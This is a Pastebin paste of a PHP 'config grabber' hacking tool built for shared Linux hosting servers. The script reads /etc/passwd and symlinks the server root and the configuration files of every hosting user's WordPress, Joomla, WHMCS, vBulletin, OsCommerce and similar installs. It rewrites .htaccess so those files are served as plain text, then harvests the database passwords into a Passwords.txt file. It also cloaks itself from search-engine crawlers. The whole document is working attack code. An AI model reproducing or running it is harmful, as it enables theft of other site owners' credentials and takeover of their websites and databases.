Advertisement
macspeedsolo

grab

Dec 25th, 2017
1,015
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.84 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. @set_time_limit(0);
  4.  
  5. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  6. $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Yahoo");
  7. if(preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  8. header('HTTP/1.0 404 Not Found');
  9. exit;
  10. }
  11. }
  12.  
  13. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  14. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  15.  
  16. <head>
  17. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  18. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
  19. <meta name="robots" content="noindex,nofollow" />
  20. <title>Config Grabber | Slackercode Priv8 Tool</title>
  21. <link rel="SHORTCUT ICON" href="http://s25.postimg.org/4bzq9e2jv/slackercodeico.png"/>
  22.  
  23. <style type="text/css">
  24. body {
  25. background-color: #000000;
  26. text-align: left;
  27. color: #59E817;
  28. }
  29. </style>
  30. <head>
  31.  
  32. <body>';
  33. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  34. echo '<script>alert("Skid this won\'t work on Windows")</script>';
  35. exit;
  36. }
  37. else
  38. {
  39. if($_POST["m"] && !$_POST["passwd"]==""){
  40. @mkdir("slackerc0de", 0777);
  41. @chdir("slackerc0de");
  42. @symlink("/","root");
  43. $htaccess="
  44. Options all
  45. Options +Indexes
  46. Options +FollowSymLinks
  47. DirectoryIndex india.html
  48. AddType text/plain .php
  49. AddHandler server-parsed .php
  50. AddType text/plain .html
  51. AddHandler txt .html
  52. AddType text/plain .conf
  53. AddType text/plain .sql
  54. AddType text/plain .log
  55. Require None
  56. Satisfy Any";
  57. @file_put_contents(".htaccess",$htaccess);
  58. $etc_passwd=$_POST["passwd"];
  59. $etc_passwd=explode("\n",$etc_passwd);
  60. foreach($etc_passwd as $passwd){
  61. $pawd=explode(":",$passwd);
  62. $user =$pawd[0];
  63.  
  64. @symlink('/','slackerc0de/root');
  65. @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
  66. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  67. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  68. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  69. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  70. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  71. @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  72. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  73. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  74. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  75. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  76. @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  77. @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  78. @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  79. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  80. @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  81. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  82. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  83. @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  84. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  85. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  86. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  87. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  88. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  89. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  90. @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  91. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  92. @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  93. @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  94. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  95. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  96. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  97. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  98. @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  99. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  100. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  101. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  102. @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  103. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  104. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  105. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  106. @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  107. @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  108. @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  109. @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  110. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  111. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  112. @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  113. @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  114. @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  115. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  116. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  117. @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  118. @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  119. @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  120. @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  121. @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  122. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  123. @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  124. @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  125. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  126. @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  127. @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  128. @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  129. @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  130. @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  131. @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  132. @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  133. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  134. @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  135. @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  136. @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  137. @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  138. @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  139. @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  140. @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  141. @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  142. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  143. @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  144. @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  145. @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  146. @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  147. @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  148. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  149. @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  150. @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  151. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  152. @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  153. @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  154. @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  155. @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  156. @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  157. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  158. @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  159. @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  160. @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  161. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  162. @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  163. @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  164. @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  165. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  166. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  167. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  168. @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  169. @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  170. @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  171. @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  172. @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  173. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  174. @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  175. @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  176. @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  177. @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  178. @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  179. @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  180. @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  181. @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  182. @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  183. @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  184. @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  185. @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  186. @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  187. @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  188. @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  189. @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  190. @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  191. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  192. @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  193. @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  194. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  195. @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  196. @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  197. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  198. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  199. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  200. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  201. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  202. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  203. @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  204. @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  205. @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  206. @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  207. @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  208. @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  209. @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  210. @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  211. @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  212. @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  213. @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  214. @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  215. @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  216. @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  217. @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  218. @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  219. @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  220. @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  221. @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  222. @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  223. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  224. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  225. @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  226. @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  227. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  228. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  229. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  230. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  231. @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  232. @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  233. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  234. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  235. @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  236. @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  237. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  238. @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  239. @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  240. @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  241. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  242. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  243. @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  244. @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  245. @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  246.  
  247.  
  248. }
  249.  
  250. //password grab
  251.  
  252. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
  253. {
  254.  
  255. $ar0=explode($marqueurDebutLien, $text);
  256. $ar1=explode($marqueurFinLien, $ar0[1]);
  257. $ar=trim($ar1[0]);
  258. return $ar;
  259. }
  260.  
  261. $ffile=fopen('Passwords.txt','a+');
  262.  
  263.  
  264. $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/slackerc0de/";
  265. $re=$r;
  266. $confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
  267.  
  268. $users=file("/etc/passwd");
  269. foreach($users as $user)
  270. {
  271.  
  272. $str=explode(":",$user);
  273. $usersss=$str[0];
  274. foreach($confi as $co)
  275. {
  276.  
  277.  
  278. $uurl=$re.$usersss.$co;
  279. $uel=$uurl;
  280.  
  281. $ch = curl_init();
  282.  
  283. curl_setopt($ch, CURLOPT_URL, $uel);
  284. curl_setopt($ch, CURLOPT_HEADER, 1);
  285. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  286. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  287. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  288. $result['EXE'] = curl_exec($ch);
  289. curl_close($ch);
  290. $uxl=$result['EXE'];
  291.  
  292.  
  293. if($uxl && preg_match('/table_prefix/i',$uxl))
  294. {
  295.  
  296. //Wordpress
  297.  
  298. $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
  299. if(!empty($dbp))
  300. $pass=$dbp."\n";
  301. fwrite($ffile,$pass);
  302.  
  303. }
  304. elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
  305. {
  306.  
  307. //WHMCS
  308.  
  309. $dbp=entre2v2($uxl,"db_password = '","';");
  310. if(!empty($dbp))
  311. $pass=$dbp."\n";
  312. fwrite($ffile,$pass);
  313.  
  314. }
  315.  
  316.  
  317. elseif($uxl && preg_match('/dbprefix/i',$uxl))
  318. {
  319.  
  320. //Joomla
  321.  
  322. $db=entre2v2($uxl,"password = '","';");
  323. if(!empty($db))
  324. $pass=$db."\n";
  325. fwrite($ffile,$pass);
  326. }
  327. elseif($uxl && preg_match('/admincpdir/i',$uxl))
  328. {
  329.  
  330. //Vbulletin
  331.  
  332. $db=entre2v2($uxl,"password'] = '","';");
  333. if(!empty($db))
  334. $pass=$db."\n";
  335. fwrite($ffile,$pass);
  336.  
  337. }
  338. elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
  339. {
  340.  
  341. //Other
  342.  
  343. $db=entre2v2($uxl,"DB_PASSWORD', '","');");
  344. if(!empty($db))
  345. $pass=$db."\n";
  346. fwrite($ffile,$pass);
  347. }
  348. elseif($uxl && preg_match('/dbpass/i',$uxl))
  349. {
  350.  
  351. //Other
  352.  
  353. $db=entre2v2($uxl,"dbpass = '","';");
  354. if(!empty($db))
  355. $pass=$db."\n";
  356. fwrite($ffile,$pass);
  357. }
  358. elseif($uxl && preg_match('/dbpass/i',$uxl))
  359. {
  360.  
  361. //Other
  362.  
  363. $db=entre2v2($uxl,"dbpass = '","';");
  364. if(!empty($db))
  365. $pass=$db."\n";
  366. fwrite($ffile,$pass);
  367.  
  368. }
  369. elseif($uxl && preg_match('/dbpass/i',$uxl))
  370. {
  371.  
  372. //Other
  373.  
  374. $db=entre2v2($uxl,"dbpass = \"","\";");
  375. if(!empty($db))
  376. $pass=$db."\n";
  377. fwrite($ffile,$pass);
  378. }
  379.  
  380.  
  381. }
  382. }
  383. echo "<center>
  384. <a href=\"slackerc0de/root/\">./Server root</a>
  385. <br><a href=\"slackerc0de/Passwords.txt\">./Passwords</a>
  386. <br><a href=\"slackerc0de/\">./Configurations</a></center>";
  387. }
  388. else
  389. {
  390. echo "<center>
  391. <form method=\"POST\">
  392. <textarea name=\"passwd\" style=\"border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817\">";
  393. $file = '/etc/passwd';
  394. $read = @fopen($file, 'r');
  395. if ($read){
  396. $body = @fread($read, @filesize($file));
  397. echo "".htmlentities($body)."";
  398. }
  399. elseif(!$read)
  400. {
  401. $read = @show_source($file) ;
  402. }
  403. elseif(!$read)
  404. {
  405. $read = @highlight_file($file);
  406. }
  407. elseif(!$read)
  408. {
  409. for($uid=0;$uid<1000;$uid++)
  410. {
  411. $ara = posix_getpwuid($uid);
  412. if (!empty($ara))
  413. {
  414. while (list ($key, $val) = each($ara))
  415. {
  416. print "$val:";
  417. }
  418. print "\n";
  419. }}}
  420.  
  421. flush();
  422.  
  423. echo "</textarea>
  424. <p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\" style=\"border:1px dotted #59E817; width: 99; font-family:Tahoma; font-size:10pt; color:#59E817; text-transform:uppercase; height:23; background-color:#0C0C0C\"/></p>
  425. </form></center>";
  426. }
  427. echo "</body>
  428. </html>";
  429. }
  430. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement